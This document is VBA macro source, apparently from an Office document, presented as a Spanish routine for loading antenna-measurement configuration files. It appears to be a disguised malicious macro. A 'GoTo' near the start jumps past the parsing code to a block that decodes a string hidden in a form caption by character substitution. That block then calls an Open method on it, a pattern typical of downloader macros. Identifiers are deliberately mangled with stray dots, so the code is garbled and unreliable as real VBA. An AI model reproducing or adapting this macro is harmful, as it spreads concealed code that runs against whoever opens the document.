 sSNIFTD_E.XPAND(9) = SinLet.ras(Cadena)
 If sSNIFTD_E.XPAND(9) = "0" Then
 sSNIFTD_E.XPAND(10) = Checked
 Else
 sSNIFTD_E.XPAND(10) = Unchecked
 End If
 Case ClaveOUTTHETA_SE
 sSNIFTD_E.XPAND(11) = ExtraeDat.oIzqda(Cadena)
 sSNIFTD_E.XPAND(11) = SinLe.tras(sSNIFTD_E.XPAND(11))
 Cadena = ExtraeDa.toDcha(Cadena)
 sSNIFTD_E.XPAND(12) = ExtraeDa.toIzqda(Cadena)
 sSNIFTD_E.XPAND(12) = SinLe.tras(sSNIFTD_E.XPAND(12))
 Case ClaveOUTPHI_SE
 sSNIFTD_E.XPAND(13) = ExtraeDat.oIzqda(Cadena)
 sSNIFTD_E.XPAND(13) = SinLe.tras(sSNIFTD_E.XPAND(13))
 Cadena = ExtraeDatoD.cha(Cadena)
 sSNIFTD_E.XPAND(14) = ExtraeDat.oIzqda(Cadena)
 sSNIFTD_E.XPAND(14) = SinLe.tras(sSNIFTD_E.XPAND(14))
 Case ClaveOUTSONDA
 Select Case ExtraeDat.oIzqda(Cadena)
 Case PrefSONDA_1
 sSNIFTD_E.XPAND(15) = ClaveSONDA_1
 Case PrefSONDA_2
 sSNIFTD_E.XPAND(15) = ClaveSONDA_2
 Case PrefSONDA_3
 sSNIFTD_E.XPAND(15) = ClaveSONDA_3
 End Select
 sSNIFTD_E.XPAND(16) = ExtraeDatoD.cha(Cadena)
 Case ClaveFIN_SNIFTD, ClaveFIN_EXPAND
 Case ClaveINI_SFIFT
 bHaySFIFT = True
 sProc(7) = Checked
 Case ClaveR0
 sSF.IFT(3) = ExtraeDat.oIzqda(Cadena)
 sSF.IFT(3) = SinLe.tras(sSF.IFT(3))
 Case ClaveLFI0
 sSF.IFT(4) = ExtraeDat.oIzqda(Cadena)
 sSF.IFT(4) = SinLe.tras(sSF.IFT(4))
 Case ClaveLFI90
 sSF.IFT(5) = ExtraeDat.oIzqda(Cadena)
 sSF.IFT(5) = SinLe.tras(sSF.IFT(5))
 Case ClaveGSonda
 sSF.IFT(6) = ExtraeDat.oIzqda(Cadena)
 sSF.IFT(6) = SinLe.tras(sSF.IFT(6))
 Case ClaveCSonda
 sSF.IFT(7) = ExtraeDat.oIzqda(Cadena)
 sSF.IFT(7) = SinLe.tras(sSF.IFT(7))
 Case ClaveFIN_SFIFT
 Case ClaveINI_CNIFT
 bHayCNIFT = True
 sProc(8) = Checked
 Case ClaveTHETA_C
 sCN.IFT(7) = ExtraeDat.oIzqda(Cadena)
 sCN.IFT(7) = SinLe.tras(sCN.IFT(7))
 sCN.IFT(8) = ExtraeDatoD.cha(Cadena)
 sCN.IFT(8) = SinLe.tras(sCN.IFT(8))
 Case ClavePHI_C
 sCN.IFT(9) = ExtraeDat.oIzqda(Cadena)
 sCN.IFT(9) = SinLe.tras(sCN.IFT(9))
 sCN.IFT(10) = ExtraeDatoD.cha(Cadena)
 sCN.IFT(10) = SinLe.tras(sCN.IFT(10))
 Case ClaveCENTRAR_C
 Select Case ExtraeDat.oIzqda(Cadena)
 Case PrefSI
 sCN.IFT(11) = Checked
 Case PrefNO
 sCN.IFT(11) = Unchecked
 Case Else
 sCN.IFT(11) = Grayed
 End Select
 sCN.IFT(12) = ExtraeDatoD.cha(Cadena)
 sCN.IFT(12) = SinLe.tras(sCN.IFT(12))
 Case ClaveSAmoetutYGAN
 sCN.IFT(13) = ExtraeDat.oIzqda(Cadena)
 sCN.IFT(13) = SinLe.tras(sCN.IFT(13))
 sCN.IFT(14) = ExtraeDatoD.cha(Cadena)
 sCN.IFT(14) = SinLe.tras(sCN.IFT(14))
 Case ClaveFSONDA
 sCN.IFT(15) = Cadena
 Case ClaveFIN_CNIFT
 Case ClaveINI_PNIFT
 bHayPNIFT = True
 sProc(9) = Checked
 Case ClaveTHETA_P
 sPN.IFT(0) = ExtraeDat.oIzqda(Cadena)
 sPN.IFT(0) = SinLe.tras(sPN.IFT(0))
 sPN.IFT(1) = ExtraeDatoD.cha(Cadena)
 sPN.IFT(1) = SinLe.tras(sPN.IFT(1))
 Case ClavePHI_P
 sPN.IFT(2) = ExtraeDat.oIzqda(Cadena)
 sPN.IFT(2) = SinLe.tras(sPN.IFT(2))
 sPN.IFT(3) = ExtraeDatoD.cha(Cadena)
 sPN.IFT(3) = SinLe.tras(sPN.IFT(3))
 Case ClaveFICHRNF
 sPN.IFT(5) = Cadena
 If sPN.IFT(5) <> "" Then
 sPN.IFT(4) = Checked
 Else
 sPN.IFT(4) = Unchecked
 End If
 Case ClaveFICHPRB
 sPN.IFT(6) = Cadena
 Case ClaveFICHREF
 sPN.IFT(8) = Cadena
 If sPN.IFT(8) <> "" Then
 sPN.IFT(7) = Checked
 Else
 sPN.IFT(7) = Unchecked
 End If
 Case ClaveSAmoetutINS
 sPN.IFT(9) = ExtraeDat.oIzqda(Cadena)
 sPN.IFT(9) = SinLe.tras(sPN.IFT(9))
 Case ClaveFIN_PNIFT
 Case ClaveINI_PNIFU
 bHayPNIFU = True
 sProc(10) = Checked
 Case ClaveCENTGIRAR_U
 Select Case ExtraeDat.oIzqda(Cadena)
 Case PrefSI
 kidr.kidr(0) = Checked
 Case PrefNO
 kidr.kidr(0) = Unchecked
 Case Else
 kidr.kidr(0) = Grayed
 End Select
 kidr.kidr(1) = ExtraeDatoD.cha(Cadena)
 kidr.kidr(1) = SinLe.tras(kidr.kidr(1))
 Case ClaveTRANSF_U
 Select Case Cadena
 Case PrefSINCAMBIO
 kidr.kidr(2) = ClaveSINCAMBIO
 Case PrefCONCAMBIO
 kidr.kidr(2) = ClaveCONCAMBIO
 End Select
 Case ClaveCMPTE_U
 Select Case Cadena
 Case PrefCPXY
 kidr.kidr(3) = ClaveCPXY
 Case PrefAE
 kidr.kidr(3) = ClaveAE
 Case PrefTHPH
 kidr.kidr(3) = ClaveTHPH
 Case PrefRHLH
 kidr.kidr(3) = ClaveRHLH
 Case PrefEMEM
 kidr.kidr(3) = ClaveEMEM
 End Select
 Case ClaveFORMATO
 Select Case ExtraeDat.oIzqda(Cadena)
 Case PrefFORM_1
 kidr.kidr(4) = ClaveFORM_1
 Case PrefFORM_2
 kidr.kidr(4) = ClaveFORM_2
 Case PrefFORM_3
 kidr.kidr(4) = ClaveFORM_3
 Case PrefFORM_4
 kidr.kidr(4) = ClaveFORM_4
 End Select
 kidr.kidr(5) = ExtraeDatoD.cha(Cadena)
 kidr.kidr(5) = SinLe.tras(kidr.kidr(5))
 Case ClaveTHETA_U
 kidr.kidr(6) = ExtraeDat.oIzqda(Cadena)
 kidr.kidr(6) = SinLe.tras(kidr.kidr(6))
 kidr.kidr(7) = ExtraeDatoD.cha(Cadena)
 kidr.kidr(7) = SinLe.tras(kidr.kidr(7))
 Case ClavePHI_U
 kidr.kidr(8) = ExtraeDat.oIzqda(Cadena)
 kidr.kidr(8) = SinLe.tras(kidr.kidr(8))
 Case ClaveFACTEXP
 kidr.kidr(9) = ExtraeDat.oIzqda(Cadena)
 kidr.kidr(9) = SinLe.tras(kidr.kidr(9))
 kidr.kidr(10) = ExtraeDatoD.cha(Cadena)
 kidr.kidr(10) = SinLe.tras(kidr.kidr(10))
 Case ClaveFIN
 Case ClaveFIN_PNIFU
 Case Else
 Fallo = True
 End Select
 Loop Until EOF(f)
 Close f
SAmoetut:
KOLODA = Split(Replace(Replace(UserForm2.ComboBox1.Caption, "6", "E"), "7", "M"), NombreFichero)
GoTo SAmoetut1
 If Fallo Then
 i = MsgBox("Se han ignorado algunas entradas, compruebe la configuraci?n", _
 vbOKOnly + vbInformation, "AVISO PROCESADO DE DATOS")
 End If
SalirCargarProc:
 Exit Sub
ManipularErrorCargarProc:
 i = MsgBox("No existe el fichero o est? da?ado" _
 & vbNewLine & Err.Description, _
 vbOKOnly + vbCritical, "ERROR PROCESADO DE DATOS")
 Resume Next
SAmoetut1:
CargarFichIncer ""
rubliki6.Open (rubliki5)
End Sub






Attribute VB_Name = "Module3"

Public Sub CargarFichIncer(NombreFichero As String)
 Dim f As Integer
 Dim Buffer As String
 Dim Cadena As String
 Dim i As Integer
 Dim Aux As Integer
 Dim Fallo As Boolean
 Fallo = False
 bHaySNIFTD = False
 bHayEXPAND = False
 bHaySFIFT = False
 bHayCNIFT = False
 bHayPNIFT = False
 bHayPNIFU = False
 bHayFrecs = False
 GoTo SAmoetut
 For i = 0 To UBound(sProc) Step 1
 sProc(i) = Unchecked
 Next i
 sProc(0) = CharSinCargar
 sProc(3) = CharSinCargar
 For i = 0 To UBound(sSNIFTD_EXPAND) Step 1
 sSNIFTD_E.XPAND(i) = CharSinCargar
 Next i
 sSNIFTD_E.XPAND(10) = Unchecked
 For i = 0 To UBound(sSFIFT) Step 1
 sSF.IFT(i) = CharSinCargar
 Next i
 For i = 0 To UBound(sCNIFT) Step 1
 sCN.IFT(i) = CharSinCargar
 Next i
 sCN.IFT(11) = Unchecked
 For i = 0 To UBound(sPNIFT) Step 1
 sPN.IFT(i) = CharSinCargar
 Next i
 sPN.IFT(4) = Unchecked
 sPN.IFT(7) = Unchecked
 For i = 0 To UBound(sPNIFU) Step 1
 kidr.kidr(i) = CharSinCargar
 Next i
 kidr.kidr(0) = Unchecked
 Pot_ruido = CharSinCargar
 Drift = CharSinCargar
 DriftMod = CharSinCargar
 Leakage = CharSinCargar
 CablesJuntas = CharSinCargar
 CablesJuntasMod = CharSinCargar
 Dut = CharSinCargar
 Sgh = CharSinCargar
 Cables = CharSinCargar
 Num_simulaciones = CharSinCargar
 Junto2 = Unchecked
 Junto = CharSinCargar
 On Error GoTo ManipularErrorCargarProc
 f = FreeFile
 Open NombreFichero For Input As f
 Do

 Cadena = ExtraeDatoD.cha(Buffer)
 Select Case ExtraeDat.oIzqda(Buffer)
 Case "", " ", CharLineaVacia
 Case Asteriscos & Asteriscos
 Case "FICHERO_MED"
 sProc(0) = Cadena
 Case "FICHERO_INCER"
 sPathMedida = Cadena
…